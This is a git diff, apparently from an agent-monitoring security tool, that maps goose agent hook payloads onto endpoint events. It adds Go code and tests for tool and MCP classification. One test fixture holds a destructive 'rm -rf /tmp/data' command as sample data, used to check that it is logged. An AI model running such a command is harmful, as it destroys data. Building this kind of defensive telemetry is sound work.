The cross-harness, self-improving memory layer for AI agents. Join our community: https://discord.com/invite/zdNChS2fBu
Go agent-ai-cliagent-harnessesagent-securitybrowser-extensionciclaude-codecloudcodexcursordetection-engineeringjevknowledge-basememorymobile-device-managementobservabilitysecuritysecurity-information-and-event-managementsecurity-toolstelemetrytraces
feat(hooks): map goose hook payloads onto endpoint events
Claude6dcb0f6e1432
diff --git a/cli/beacon-hooks/cmd/endpoint_events.go b/cli/beacon-hooks/cmd/endpoint_events.goindex 176290c8..fa00031c 100644--- a/cli/beacon-hooks/cmd/endpoint_events.go+++ b/cli/beacon-hooks/cmd/endpoint_events.go@@ -340,6 +340,15 @@ func toolFieldsWithResponse(toolName string, toolInput, toolResponse map[string]if path == "" && platformFlag == kiroPlatform {path = kiroToolPath(toolInput)}+ // goose's read_image names its target `source`, not `path`, so every key above misses it and+ // the call would record no file at all. Asked after the shared list for the Kiro reason -- a+ // payload carrying a top-level path has said something more direct -- and `source` is+ // deliberately not added to that list: it is an ordinary key other runtimes use for other+ // things, and gooseReadImageSource also has to reject the http(s) URLs this one argument+ // legitimately carries.+ if path == "" && platformFlag == goosePlatform {+ path = gooseToolPath(toolName, toolInput)+ }if path != "" {fields["file"] = map[string]interface{}{"path": path,@@ -460,6 +469,12 @@ func mcpToolFields(toolName string, toolInput, toolResponse map[string]interface// argument, and comes back with whatever the server returned. Keyed on the platform because a// leading "@" is Kiro's convention and not a general one.hasKiroMCPToolName := platformFlag == kiroPlatform && kiroIsMCPToolName(toolName)+ // goose says so in the tool name too, but only by exclusion. It calls an MCP tool+ // `<extension>__<tool>` with no "mcp" anywhere, no mcp_* argument, and -- since goose populates+ // no tool output at all -- no result to inspect. What identifies the call is that the prefix is+ // not one of goose's built-in extensions. Keyed on the platform because `a__b` is goose's+ // convention and not a general one.+ hasGooseMCPToolName := platformFlag == goosePlatform && gooseIsMCPToolName(toolName)server := firstToolStringAcross([]map[string]interface{}{toolInput, toolResponse}, "server", "server_name", "mcp_server", "mcp_server_name", "mcp.server", "mcp.server.name")tool := firstToolStringAcross([]map[string]interface{}{toolInput, toolResponse}, "tool", "tool_name", "function_name", "mcp_tool", "mcp_tool_name", "mcp.tool", "mcp.tool.name", "gen_ai.tool.name")@@ -483,6 +498,20 @@ func mcpToolFields(toolName string, toolInput, toolResponse map[string]interface}}}+ if hasGooseMCPToolName {+ // Same placement and the same reason as Kiro just above: the shared derivation matches+ // `mcp__` and `mcp:` and would find neither half of `github__create_issue`, recording an+ // MCP call whose server and tool are blank.+ if server == "" || tool == "" {+ derivedServer, derivedTool := gooseMCPServerTool(toolName)+ if server == "" {+ server = derivedServer+ }+ if tool == "" {+ tool = derivedTool+ }+ }+ }if derivedServer, derivedTool := deriveMCPServerTool(toolName); derivedServer != "" || derivedTool != "" {if server == "" {server = derivedServer@@ -492,7 +521,7 @@ func mcpToolFields(toolName string, toolInput, toolResponse map[string]interface}}- isMCP := mcpServer != "" || mcpTool != "" || mcpMethod != "" || mcpProtocol != "" || mcpResource != "" || mcpSession != "" || hasCascadeServerToolPair || hasOpenHandsMCPObservation || hasKiroMCPToolName || strings.Contains(strings.ToLower(toolName), "mcp")+ isMCP := mcpServer != "" || mcpTool != "" || mcpMethod != "" || mcpProtocol != "" || mcpResource != "" || mcpSession != "" || hasCascadeServerToolPair || hasOpenHandsMCPObservation || hasKiroMCPToolName || hasGooseMCPToolName || strings.Contains(strings.ToLower(toolName), "mcp")if !isMCP {return nil}@@ -767,6 +796,11 @@ func fileOperation(toolName string, toolInput map[string]interface{}) string {return operation}}+ if platformFlag == goosePlatform {+ if operation := gooseFileOperation(toolName, toolInput); operation != "" {+ return operation+ }+ }lower := strings.ToLower(toolName)switch {case strings.Contains(lower, "read") || strings.Contains(lower, "view") || strings.Contains(lower, "list") || strings.Contains(lower, "grep") || strings.Contains(lower, "search"):@@ -797,6 +831,14 @@ func actionForTool(hookEvent, toolName string, toolInput, toolResponse map[strinreturn action}}+ if platformFlag == goosePlatform {+ // Asked before the failure checks other runtimes do here, and it needs none of its own:+ // goose reports a failed call as a different event, and emitPostToolObserved has already+ // classified that as tool.failed and returned before reaching this function.+ if action := gooseToolAction(toolName, toolInput); action != "" {+ return action+ }+ }if platformFlag == "grok" {if hookEvent == "post_tool_use_failure" {return "tool.failed"diff --git a/cli/beacon-hooks/cmd/goose.go b/cli/beacon-hooks/cmd/goose.gonew file mode 100644index 00000000..7fbc1994--- /dev/null+++ b/cli/beacon-hooks/cmd/goose.go@@ -0,0 +1,395 @@+package cmd++import (+ "strings"++ "github.com/asymptote-labs/agent-beacon/cli/beacon-hooks/internal/config"+ hookdiff "github.com/asymptote-labs/agent-beacon/cli/beacon-hooks/internal/diff"+ "github.com/asymptote-labs/agent-beacon/cli/beacon-hooks/internal/logging"+)++// goose payload readers and tool taxonomy.+//+// goose (Block) ships a native hook system modelled on the Open Plugins hooks specification: a+// plugin declares commands in `<plugin-root>/hooks/hooks.json`, goose runs each matching command+// with the event as JSON on stdin, and the events line up closely enough with the subcommands this+// binary already has that goose rides them rather than getting a mapper of its own. That is the+// OpenHands and Kiro shape, and it is chosen for the same reason: the shared path already carries+// the inventory heartbeat, log rotation, session state, the policy seam, content retention and the+// tool call id, and a second implementation of those is the thing that drifts.+//+// The envelope is goose's HookContext:+//+// {"event": "PreToolUse", "session_id": "...", "matcher_context": "shell",+// "tool_call_id": "...", "tool_name": "shell", "tool_input": {...},+// "message": "...", "last_assistant_message": "...", "working_dir": "..."}+//+// Three fields differ from the Claude spelling the shared readers use: the event name is `event`+// and not `hook_event_name`, the working directory is `working_dir` and not `cwd`, and the prompt+// is `message` and not `prompt`. `session_id`, `tool_name`, `tool_input` and `tool_call_id` are+// spelled exactly as Claude spells them, so the shared readers find those with no branch -- the+// tool call id in particular already resolves through asymptoteobserve.ToolCallIDKeys, which+// carries `tool_call_id`.+//+// Unlike OpenHands, `event` *is* read here rather than being left to the subcommand binding. goose+// reports a failed tool call as a separate event, `PostToolUseFailure`, whose payload is otherwise+// identical to `PostToolUse` -- same tool name, same arguments, no result either way. The event+// name is therefore the only thing that distinguishes a write that landed from one that did not,+// and both are bound to `post-tool`.+//+// What goose does not send, and what that costs:+//+// - No tool output, ever. `HookContext` has a `tool_output` field and no emission site in the+// runtime populates it, so a shell command's exit code and output, a file read's contents and+// an MCP call's result are all absent. Commands are recorded as executed with their command+// line and nothing about how they went.+// - No token usage and no cost. goose reports both, but over OTLP rather than to a hook; that is+// what the OTLP path collects, and it is why a goose endpoint wants both paths installed.+// - No operator approval decision. goose does ask -- `ToolApprovalOperation` runs the permission+// judge and can stop for a person -- and exposes none of it to a hook. Approvals are therefore+// not synthesized here, matching the Cline, Pi, OpenHands and Kiro decision. The branch in+// runPreTool carries that reasoning, together with why answering goose's blocking events with+// an explicit allow is nevertheless safe.+// - No working directory on three of the events; see gooseWorkingDir.+const goosePlatform = "goose"++// gooseEventPostToolUseFailure is the only goose event name this binary has to recognize.+//+// Every other event it subscribes to is bound to its own subcommand, so the command that is+// running already knows which event it is answering -- the OpenHands reasoning. `PostToolUse` and+// `PostToolUseFailure` are the exception: they share the `post-tool` subcommand because their+// payloads are identical, and the name is the only thing that tells them apart.+const gooseEventPostToolUseFailure = "PostToolUseFailure"++// gooseToolNameSeparator is what goose puts between an extension's name and its tool's.+//+// goose's own categorize_tool splits on this and keeps the last segment, so matching it here is+// matching the runtime rather than guessing at a convention.+const gooseToolNameSeparator = "__"++// goosePlatformExtensions are the extensions goose builds in, by the name that prefixes their+// tools.+//+// This set exists for one job: telling a built-in tool from an MCP one. goose gives every+// third-party extension an MCP server and calls its tools `<extension>__<tool>`, with no "mcp"+// anywhere in the name, no mcp_* argument, and -- since there is no tool output at all on this+// runtime -- no result to inspect either. So none of the shared MCP signals fire, and a GitHub MCP+// server's `github__create_issue` would be classified by the generic substring rules, which see+// "create" and record it as a file modification.+//+// The prefix is the only thing that says otherwise, and it says it by exclusion: a prefix that is+// not one of these names belongs to an extension goose loaded over MCP. Enumerating the built-ins+// rather than trying to enumerate MCP servers is the only direction that works, since the server+// list is whatever the operator configured.+//+// "extension manager" appears alongside "extensionmanager" because goose registers that one under+// a map key that differs from its display name, and both spellings are reachable.+var goosePlatformExtensions = map[string]bool{+ "analyze": true,+ "apps": true,+ "chatrecall": true,+ "code_execution": true,+ "developer": true,+ "extension manager": true,+ "extensionmanager": true,+ "orchestrator": true,+ "scheduler": true,+ "skills": true,+ "summarize": true,+ "summon": true,+ "todo": true,+ "tom": true,+}++// gooseCommandTools, gooseCreateTools, gooseEditTools and gooseReadTools are the built-in tools+// whose effect Beacon records as something more specific than "a tool ran".+//+// They are keyed on the tool's own name with any extension prefix already removed, because goose+// advertises its `developer` tools *unprefixed*: the extension is registered with+// `unprefixed_tools: true`, so the model calls `shell`, not `developer__shell`. Both spellings+// reach a hook in practice -- goose's own resolver recovers `developer__shell` and `developer.shell`+// from a model that adds the prefix anyway -- which is why gooseSplitToolName runs first and this+// table sees one name either way.+//+// The generic classifier would reach the same answer for `shell`, `write` and `edit` by substring,+// and they are stated anyway for the reason the OpenHands and Kiro tables give: this table is what+// the goose taxonomy is read from, and a reader asking whether shell execution is captured should+// find the answer here rather than having to work out which substring rule happens to fire. It+// would reach the *wrong* answer for `tree`, which is a directory listing whose name contains+// none of the read words.+var (+ gooseCommandTools = map[string]bool{"shell": true}+ gooseCreateTools = map[string]bool{"write": true}+ gooseEditTools = map[string]bool{"edit": true}+ // `tree` lists a directory rather than reading one file, and its `path` is that directory.+ // Recording it under file.path with operation "read" is the shape OpenHands' glob and grep+ // already produce, and it is the honest one: a traversal did happen and the directory is what+ // it touched.+ //+ // `read_image` is here but is not unconditional; see gooseReadImageSource.+ gooseReadTools = map[string]bool{"tree": true, "read_image": true}+)++// gooseReadImageToolName is the built-in that reads an image from a path *or* a URL.+const gooseReadImageToolName = "read_image"++// gooseHookEvent reads which goose lifecycle event a payload describes.+func gooseHookEvent(input map[string]interface{}) string {+ return getFirstStr(input, "event")+}++// gooseToolFailed reports whether a post-tool payload describes a call that failed.+//+// The event name, and nothing else, because on this runtime there is nothing else. goose splits+// the post-tool event in two -- `PostToolUse` for a result that is not flagged `is_error`,+// `PostToolUseFailure` for one that is or for a transport error -- and then sends an identical+// payload either way. No error string, no exit code, no result.+//+// This is what the diff path guards on. goose's `edit` requires its `before` text to match the+// file exactly and uniquely and fails the call otherwise, so a failed edit arrives carrying the+// same `before` and `after` as a successful one. Building a diff from it would assert that a file+// changed when the edit never landed -- the same false positive the Qwen and OpenHands guards+// exist to prevent, reached by a different route.+func gooseToolFailed(input map[string]interface{}) bool {+ return gooseHookEvent(input) == gooseEventPostToolUseFailure+}++// gooseWorkingDir resolves the directory the agent is working in.+//+// The payload field is `working_dir`, which the shared resolveCwd does not read.+//+// There is deliberately no fallback. goose omits the field on three of the events Beacon+// subscribes to -- `SessionStart` and `SessionEnd` when they come from the agent rather than the+// CLI session loop, and a `UserPromptSubmit` raised by steering mid-turn -- and the obvious+// fallback, the hook process's own working directory, is wrong in exactly the case that matters:+// goose runs hooks with `sh -c` inheriting its own cwd, which is the project directory under the+// CLI and the application bundle under the desktop app. A desktop session would therefore record+// every event against a path that looks like a repository, resolves to nothing, and reaches+// customer logs -- which is worse than recording no path, the judgement the Cline workspace reader+// already makes about file:// URIs.+//+// What the omission costs is bounded and known: those three events carry no session.working_directory+// and no repository. Every tool event does carry `working_dir`, and those are the events a+// repository attribution is actually read from.+func gooseWorkingDir(input map[string]interface{}) string {+ return getFirstStr(input, "working_dir")+}++// goosePrompt reads the submitted prompt text.+//+// `message` is deliberately not added to the shared key list in runPromptSubmit, for the reason+// the OpenHands reader states: that list is consulted for every hook runtime, and `message` is an+// ordinary key that carries something other than the user's prompt in other runtimes' payloads --+// a status line, a tool result, an error -- so widening it would put one of those into prompt.text+// for a runtime that has nothing to do with goose.+func goosePrompt(input map[string]interface{}) string {+ return getFirstStr(input, "message")+}++// gooseSplitToolName separates a goose tool name into the extension that owns it and the tool's+// own name.+//+// Both separators goose itself accepts are handled, and they are handled differently on purpose:+//+// - `__` is goose's real separator, the one it advertises MCP tools under and the one its own+// categorize_tool splits on. Any prefix is taken, because an unknown prefix is precisely the+// signal that an extension came from MCP.+// - `.` is the mangled spelling goose's resolver recovers when a model writes `developer.shell`+// for a tool advertised as `shell`. Here the prefix is taken *only* when it names a built-in+// extension, because a dot is not a goose convention and an MCP server is free to put one in+// a tool name of its own. Splitting `foo.bar` would invent an extension called "foo" and+// report an ordinary tool as an MCP call.+//+// An unprefixed name returns an empty extension and itself, which is the common case: the+// `developer` extension is registered with unprefixed_tools, so its tools arrive bare.+func gooseSplitToolName(toolName string) (extension, local string) {+ trimmed := strings.TrimSpace(toolName)+ if index := strings.LastIndex(trimmed, gooseToolNameSeparator); index >= 0 {+ return strings.ToLower(trimmed[:index]), strings.ToLower(trimmed[index+len(gooseToolNameSeparator):])+ }+ if index := strings.LastIndex(trimmed, "."); index >= 0 {+ if candidate := strings.ToLower(trimmed[:index]); goosePlatformExtensions[candidate] {+ return candidate, strings.ToLower(trimmed[index+1:])+ }+ }+ return "", strings.ToLower(trimmed)+}++// gooseBuiltinToolName returns the built-in tool a name refers to, or "" when the name belongs to+// an extension goose loaded over MCP.+//+// The guard is what keeps the taxonomy from claiming a third party's tool: an MCP server may name+// its tool `edit` or `shell`, and without the prefix check `github__edit` would be recorded as a+// file modification on the strength of a name its own server chose.+func gooseBuiltinToolName(toolName string) string {+ extension, local := gooseSplitToolName(toolName)+ if extension != "" && !goosePlatformExtensions[extension] {+ return ""+ }+ return local+}++// gooseIsMCPToolName reports whether a tool name names a tool goose loaded from an MCP server.+func gooseIsMCPToolName(toolName string) bool {+ extension, local := gooseSplitToolName(toolName)+ return extension != "" && local != "" && !goosePlatformExtensions[extension]+}++// gooseMCPServerTool splits an MCP tool name into the server and the tool.+//+// Only ever called for a name gooseIsMCPToolName accepted, so the prefix is known to be an+// extension goose loaded over MCP rather than a built-in.+func gooseMCPServerTool(toolName string) (server, tool string) {+ return gooseSplitToolName(toolName)+}++// gooseReadImageSource returns the local path a `read_image` call read, or "" when it read a URL.+//+// goose's read_image takes a `source` that is documented as "local file path or http(s) URL", so+// the argument is a file path only some of the time. Recording a URL under file.path would put a+// value that is not a filesystem path into the field every rule, every git helper and every SIEM+// query treats as one -- the judgement the Cline workspace reader already makes, applied to the+// one built-in whose argument is ambiguous.+//+// The argument is `source` rather than `path`, so the shared path list in toolFieldsWithResponse+// misses it entirely and without this the call records no file at all.+func gooseReadImageSource(toolInput map[string]interface{}) string {+ source := firstToolString(toolInput, "source")+ lower := strings.ToLower(source)+ if strings.HasPrefix(lower, "http://") || strings.HasPrefix(lower, "https://") {+ return ""+ }+ return source+}++// gooseToolPath reads a file path the shared path list cannot reach, or "" when there is none.+func gooseToolPath(toolName string, toolInput map[string]interface{}) string {+ if gooseBuiltinToolName(toolName) != gooseReadImageToolName {+ return ""+ }+ return gooseReadImageSource(toolInput)+}++// gooseToolAction maps a goose tool call onto an endpoint event action, or returns "" to let the+// generic classifier decide.+//+// MCP is asked first because an MCP tool's name is chosen by whoever wrote the server and can+// collide with any built-in name below. Returning "" rather than a default is what keeps the tools+// with no filesystem or shell meaning -- todo, summarize, load_skill, analyze, the orchestrator+// set -- on the shared path, where tool.invoked is already the right answer for them.+func gooseToolAction(toolName string, toolInput map[string]interface{}) string {+ if gooseIsMCPToolName(toolName) {+ return "mcp.tool_invoked"+ }+ local := gooseBuiltinToolName(toolName)+ switch {+ case gooseCommandTools[local]:+ return "command.executed"+ case gooseCreateTools[local], gooseEditTools[local]:+ return "file.modified"+ case local == gooseReadImageToolName:+ // A read_image that fetched a URL read no file. tool.invoked says a tool ran and nothing+ // about the filesystem, which is exactly what is known; the generic classifier would see+ // "read" in the name and record a file read with no file.+ if gooseReadImageSource(toolInput) == "" {+ return "tool.invoked"+ }+ return "file.read"+ case gooseReadTools[local]:+ return "file.read"+ default:+ return ""+ }+}++// gooseFileOperation is the `file.operation` value for a goose tool, or "" to fall through to the+// generic reader.+//+// Separate from gooseToolAction, as the OpenHands and Kiro pairs are, because the two answer+// different questions: the action says what kind of event this is and the operation says what+// happened to the file, and `write` and `edit` share one action while differing here.+//+// `write` is reported as a creation even though goose's own description is "create a new file or+// overwrite an existing file". Nothing in the payload distinguishes the two -- there is no result+// and no prior content -- and "create" is the same answer Beacon already gives Claude Code's Write+// and OpenHands' write_file, so a reader comparing runtimes sees one convention rather than three.+func gooseFileOperation(toolName string, toolInput map[string]interface{}) string {+ if gooseIsMCPToolName(toolName) {+ return ""+ }+ local := gooseBuiltinToolName(toolName)+ switch {+ case gooseCreateTools[local]:+ return "create"+ case gooseEditTools[local]:+ return "modify"+ case local == gooseReadImageToolName:+ if gooseReadImageSource(toolInput) == "" {+ return ""+ }+ return "read"+ case gooseReadTools[local]:+ return "read"+ default:+ return ""+ }+}++// parseGooseEdit turns one post-tool payload into the file edit it performed, or nil when it+// performed none.+//+// nil is not a failure. It means this payload is a read, a shell command, an MCP call, a failed+// write, or a built-in whose arguments this build could not read -- and the caller falls through+// to the observing path, which still records the tool call with its path and operation.+func parseGooseEdit(input map[string]interface{}, logger *logging.Logger) *evaluationParams {+ // A failure is not an edit. goose sends the same tool name and the same arguments either way,+ // so the event name is the only guard there is; without it a `before`/`after` pair from an edit+ // that never matched would be recorded as a completed file.modified.+ if gooseToolFailed(input) {+ return nil+ }++ toolName := getFirstStr(input, "tool_name")+ toolInput := resolveToolInput(input)+ local := gooseBuiltinToolName(toolName)+ if !gooseCreateTools[local] && !gooseEditTools[local] {+ return nil+ }++ path := hookdiff.NormalizePath(firstToolString(toolInput, "path"))+ if path == "" {+ return nil+ }+ if !config.IsScannableFile(path) {+ logger.Debug("Skipping non-scannable file: " + path)+ return nil+ }++ var diffStr string+ if gooseEditTools[local] {+ // `before` and `after` are fragments of the file rather than whole copies of it -- goose's+ // edit replaces one exactly-matching, uniquely-occurring span -- so this is the same shape+ // as Claude Code's old_string/new_string and takes the fragment builder, not the+ // whole-content one. FromContentChange would render the two fragments as if they were the+ // entire file before and after.+ diffStr = hookdiff.FromEditFragments(path, firstToolString(toolInput, "before"), firstToolString(toolInput, "after"))+ } else {+ // `write` carries the whole new file under `content`, which is exactly the shape the shared+ // reader's "write" case already handles, down to resolving the path from `path`. Reused+ // rather than restated so goose's creation diffs and every other runtime's stay one+ // implementation.+ diffStr = hookdiff.FromToolResponse("write", toolInput, nil)+ }+ if diffStr == "" {+ logger.Debug("Could not construct diff, skipping", "tool_name", toolName, "file_path", path)+ return nil+ }++ return &evaluationParams{+ sessionID: resolveSessionID(input, goosePlatform),+ toolName: toolName,+ filePath: path,+ diffStr: diffStr,+ fileOperation: gooseFileOperation(toolName, toolInput),+ }+}diff --git a/cli/beacon-hooks/cmd/goose_hooks_test.go b/cli/beacon-hooks/cmd/goose_hooks_test.gonew file mode 100644index 00000000..8e4565af--- /dev/null+++ b/cli/beacon-hooks/cmd/goose_hooks_test.go@@ -0,0 +1,618 @@+package cmd++import (+ "path/filepath"+ "strings"+ "testing"++ "github.com/asymptote-labs/agent-beacon/pkg/asymptoteobserve/policycontract"+)++// goose hook payloads are its HookContext, serialized: `event`, `session_id`, `matcher_context`,+// `tool_call_id`, `tool_name`, `tool_input`, `message`, `last_assistant_message`, `working_dir`.+// The fixtures below are that struct's shape rather than an approximation of it, including which+// fields goose leaves out on which events.+//+// They matter more than the usual fixture does, because goose is nearly silent about a hook it+// does not like. A hooks.json that fails to parse is skipped with a warn line nobody reads, an+// unknown event name is ignored outright, and -- the sharp one -- a hook that answers a blocking+// event with the wrong stdout shape is classified as a *failed* hook rather than as an error the+// operator sees. Nothing in the runtime tells Beacon that a mapping stopped working, so these+// tests are the only thing that would.++func gooseTestSetup(t *testing.T) string {+ t.Helper()+ setupHookConfigDirs(t)+ platformFlag = goosePlatform+ logPath := filepath.Join(t.TempDir(), "runtime.jsonl")+ t.Setenv("BEACON_ENDPOINT_MODE", "1")+ t.Setenv("BEACON_ENDPOINT_LOG", logPath)+ // Beacon's own workspace is a git repository and the fixtures below name directories that are+ // not, so branch resolution would otherwise shell out once per event for an answer no+ // assertion reads.+ t.Setenv("BEACON_DISABLE_GIT_METADATA", "1")+ return logPath+}++// ---------------------------------------------------------------------------+// Envelope+// ---------------------------------------------------------------------------++// The session id is spelled exactly as Claude spells it, so the shared reader finds it with no+// goose branch. Pinned rather than assumed: this is the field every event's session.id comes from,+// and a refactor of the shared branch would take goose's session identity with it.+func TestGooseSessionIDComesFromTheSharedReader(t *testing.T) {+ input := map[string]interface{}{+ "event": "PreToolUse",+ "session_id": "goose-session-1",+ "working_dir": "/workspace/project",+ }+ if got := resolveSessionID(input, goosePlatform); got != "goose-session-1" {+ t.Fatalf("resolveSessionID = %q, want goose-session-1", got)+ }+ // goose hands hooks no transcript: conversation state lives in its own sessions database and+ // no payload field points at it. Empty is the honest answer, and reading a Claude-shaped+ // transcript_path key that never arrives would read as an oversight.+ sessionID, transcriptPath := resolveSessionIDWithTranscript(input, goosePlatform)+ if sessionID != "goose-session-1" {+ t.Fatalf("resolveSessionIDWithTranscript session = %q, want goose-session-1", sessionID)+ }+ if transcriptPath != "" {+ t.Fatalf("resolveSessionIDWithTranscript transcript = %q, want empty", transcriptPath)+ }+}++// `working_dir` is goose's spelling and the shared resolveCwd does not read it.+func TestGooseWorkingDirectoryComesFromWorkingDir(t *testing.T) {+ input := map[string]interface{}{+ "event": "PreToolUse",+ "session_id": "goose-session-1",+ "working_dir": "/workspace/project",+ }+ if got := resolveCwd(input, goosePlatform); got != "/workspace/project" {+ t.Fatalf("resolveCwd = %q, want /workspace/project", got)+ }+}++// goose omits `working_dir` on three of the events Beacon subscribes to, and the honest answer+// there is no directory at all.+//+// The tempting fallback -- the hook process's own working directory -- is wrong in exactly the+// case that matters. goose runs hooks with `sh -c` inheriting its own cwd, which is the project+// directory under the CLI and the application bundle under the desktop app, so a desktop session+// would record every event against a path that looks like a repository and resolves to nothing.+// This pins that no such fallback exists.+func TestGooseEventsWithoutAWorkingDirRecordNoDirectory(t *testing.T) {+ logPath := gooseTestSetup(t)++ // SessionEnd as the agent sends it: the event name and the session id, nothing else.+ runHookWithInput(t, runSessionEnd, map[string]interface{}{+ "event": "SessionEnd",+ "session_id": "goose-session-1",+ })++ event := lastEndpointEvent(t, logPath)+ if got := leaf(event, "session", "working_directory"); got != "" {+ t.Fatalf("session.working_directory = %q, want empty -- goose sent none and the hook's own "++ "cwd is not the agent's", got)+ }+ if got := leaf(event, "repository"); got != "" {+ t.Fatalf("repository = %q, want empty for the same reason", got)+ }+ if got := leaf(event, "session", "id"); got != "goose-session-1" {+ t.Fatalf("session.id = %q, want goose-session-1 -- the session is still identified", got)+ }+}++// ---------------------------------------------------------------------------+// Prompt+// ---------------------------------------------------------------------------++func TestGoosePromptComesFromMessage(t *testing.T) {+ logPath := gooseTestSetup(t)++ runHookWithInput(t, runPromptSubmit, map[string]interface{}{+ "event": "UserPromptSubmit",+ "session_id": "goose-session-1",+ "working_dir": "/workspace/project",+ "message": "add a health endpoint",+ })++ event := lastEndpointEvent(t, logPath)+ if got := leaf(event, "event", "action"); got != "prompt.submitted" {+ t.Fatalf("event.action = %q, want prompt.submitted", got)+ }+ if got := leaf(event, "prompt", "text"); got != "add a health endpoint" {+ t.Fatalf("prompt.text = %q, want the message text", got)+ }+ if got := leaf(event, "harness", "name"); got != "goose" {+ t.Fatalf("harness.name = %q, want the canonical goose", got)+ }+ if got := leaf(event, "harness", "collection_method"); got != "hook" {+ t.Fatalf("harness.collection_method = %q, want hook -- goose ships the hook system, "++ "Beacon only declares commands in it", got)+ }+ // The retention marker is what records that the text stored here is the whole prompt rather+ // than a redacted or truncated copy of it.+ if _, ok := event["content"].(map[string]interface{}); !ok {+ t.Fatalf("event carried no content marker for the retained prompt: %#v", event["content"])+ }+}++// ---------------------------------------------------------------------------+// Pre-tool: the reply, and what it is not+// ---------------------------------------------------------------------------++// The one runtime where an empty object is the harmful answer.+//+// goose classifies every PreToolUse hook run, and a hook that exits 0 with stdout carrying no+// decision is classified a failure: it logs one per tool call, and on a rule configured+// `on_failure: block` it denies the call outright. `{}` and `{"permission":"allow"}` both land+// there, because goose reads `decision` and accepts only "allow" and "block".+func TestGoosePreToolAnswersWithAnExplicitAllowDecision(t *testing.T) {+ gooseTestSetup(t)++ out := runHookWithInput(t, runPreTool, map[string]interface{}{+ "event": "PreToolUse",+ "session_id": "goose-session-1",+ "working_dir": "/workspace/project",+ "tool_call_id": "call-1",+ "tool_name": "shell",+ "tool_input": map[string]interface{}{"command": "ls -la"},+ })++ if got, _ := out["decision"].(string); got != "allow" {+ t.Fatalf("pre-tool response = %#v, want {\"decision\":\"allow\"} -- anything else is a "++ "failed hook on goose", out)+ }+ if _, ok := out["permission"]; ok {+ t.Fatalf("pre-tool response carried a `permission` key: %#v; that is another runtime's "++ "spelling and goose reads it as no decision at all", out)+ }+}++// Saying "allow" to goose does not approve anything, which is what makes the test above safe and+// what separates goose from Qwen Code. goose's hook chain is a plugin-policy layer inside+// ToolExecutionOperation, and the pipeline registers ToolApprovalOperation before it -- so the+// operator's decision has already been made by the time a hook is consulted.+//+// The corollary is that goose's own approval gate is invisible to hooks, so no approval is+// synthesized from PreToolUse: it fires identically whether the call was pre-approved by+// goose_mode, waved through, or already confirmed by a person.+func TestGoosePreToolObservesWithoutSynthesizingAnApproval(t *testing.T) {+ logPath := gooseTestSetup(t)++ runHookWithInput(t, runPreTool, map[string]interface{}{+ "event": "PreToolUse",+ "session_id": "goose-session-1",+ "working_dir": "/workspace/project",+ "tool_call_id": "call-1",+ "tool_name": "shell",+ "tool_input": map[string]interface{}{"command": "rm -rf /tmp/data"},+ })++ event := lastEndpointEvent(t, logPath)+ if got := leaf(event, "event", "category"); got == "approval" {+ t.Fatalf("event.category = approval; goose exposes no approval decision to a hook")+ }+ if _, ok := event["approval"]; ok {+ t.Fatalf("event carried an approval block: %#v", event["approval"])+ }+ if got := leaf(event, "command", "command"); got != "rm -rf /tmp/data" {+ t.Fatalf("command.command = %q, want the command the tool is about to run", got)+ }+ if got := leaf(event, "event", "fidelity"); got != "observed" {+ t.Fatalf("event.fidelity = %q, want observed -- goose named this tool call", got)+ }+ if got := leaf(event, "gen_ai", "tool", "call", "id"); got != "call-1" {+ // goose spells the id `tool_call_id`, which is already in ToolCallIDKeys, so this needs no+ // goose-specific reader. Pinned because it is the field that links this event to the+ // post-tool event and to the OTLP span for the same call.+ t.Fatalf("gen_ai.tool.call.id = %q, want call-1", got)+ }+}++// The goose branch in preToolResponse must not change what any other runtime is answered. Qwen is+// the one where the difference is a security property in the opposite direction: answering "allow"+// there would disarm the user's own permission prompts, so it gets an empty object.+func TestGoosePreToolReplyDoesNotLeakToOtherRuntimes(t *testing.T) {+ gooseTestSetup(t)+ platformFlag = "qwen"++ out := runHookWithInput(t, runPreTool, map[string]interface{}{+ "hook_event_name": "PreToolUse",+ "session_id": "qwen-session",+ "cwd": "/repo",+ "tool_name": "run_shell_command",+ "tool_input": map[string]interface{}{"command": "ls"},+ })+ if len(out) != 0 {+ t.Fatalf("qwen pre-tool response = %#v, want an empty object", out)+ }+}++// ---------------------------------------------------------------------------+// Tool taxonomy+// ---------------------------------------------------------------------------++// goose registers its `developer` extension with unprefixed_tools, so the model calls `shell`,+// not `developer__shell`. Both spellings reach a hook in practice -- goose's own resolver recovers+// `developer__shell` and `developer.shell` from a model that adds the prefix anyway -- and all+// three must classify identically, because a session where the model varies its spelling would+// otherwise produce two kinds of event for one kind of action.+func TestGooseBuiltinToolSpellingsClassifyTheSame(t *testing.T) {+ for _, toolName := range []string{"shell", "developer__shell", "developer.shell", "Developer__Shell"} {+ t.Run(toolName, func(t *testing.T) {+ logPath := gooseTestSetup(t)++ runHookWithInput(t, runPostTool, map[string]interface{}{+ "event": "PostToolUse",+ "session_id": "goose-session-1",+ "working_dir": "/workspace/project",+ "tool_call_id": "call-1",+ "tool_name": toolName,+ "tool_input": map[string]interface{}{"command": "go test ./...", "timeout_secs": 120},+ })++ event := lastEndpointEvent(t, logPath)+ if got := leaf(event, "event", "action"); got != "command.executed" {+ t.Fatalf("event.action = %q, want command.executed", got)+ }+ if got := leaf(event, "command", "command"); got != "go test ./..." {+ t.Fatalf("command.command = %q, want the command line", got)+ }+ // goose never populates tool_output, so there is no exit code and no output to record.+ // Pinned so that a later change claiming either has to say where it came from.+ if got := leaf(event, "command", "output"); got != "" {+ t.Fatalf("command.output = %q, want empty -- goose sends no tool output", got)+ }+ })+ }+}++// goose calls an MCP tool `<extension>__<tool>` with no "mcp" anywhere in the name, no mcp_*+// argument, and no result to inspect -- it populates no tool output at all. The only thing that+// identifies the call is that the prefix is not one of goose's built-in extensions.+func TestGooseMCPToolIsRecognizedByItsExtensionPrefix(t *testing.T) {+ logPath := gooseTestSetup(t)++ runHookWithInput(t, runPostTool, map[string]interface{}{+ "event": "PostToolUse",+ "session_id": "goose-session-1",+ "working_dir": "/workspace/project",+ "tool_call_id": "call-7",+ "tool_name": "github__create_issue",+ "tool_input": map[string]interface{}{"title": "flaky test", "body": "see CI"},+ })++ event := lastEndpointEvent(t, logPath)+ if got := leaf(event, "event", "action"); got != "mcp.tool_invoked" {+ t.Fatalf("event.action = %q, want mcp.tool_invoked", got)+ }+ if got := leaf(event, "mcp", "server"); got != "github" {+ t.Fatalf("mcp.server = %q, want github", got)+ }+ if got := leaf(event, "mcp", "tool"); got != "create_issue" {+ t.Fatalf("mcp.tool = %q, want create_issue", got)+ }+}++// The reason the extension prefix has to be consulted at all. An MCP server names its own tools,+// so `github__edit` is a perfectly ordinary thing for one 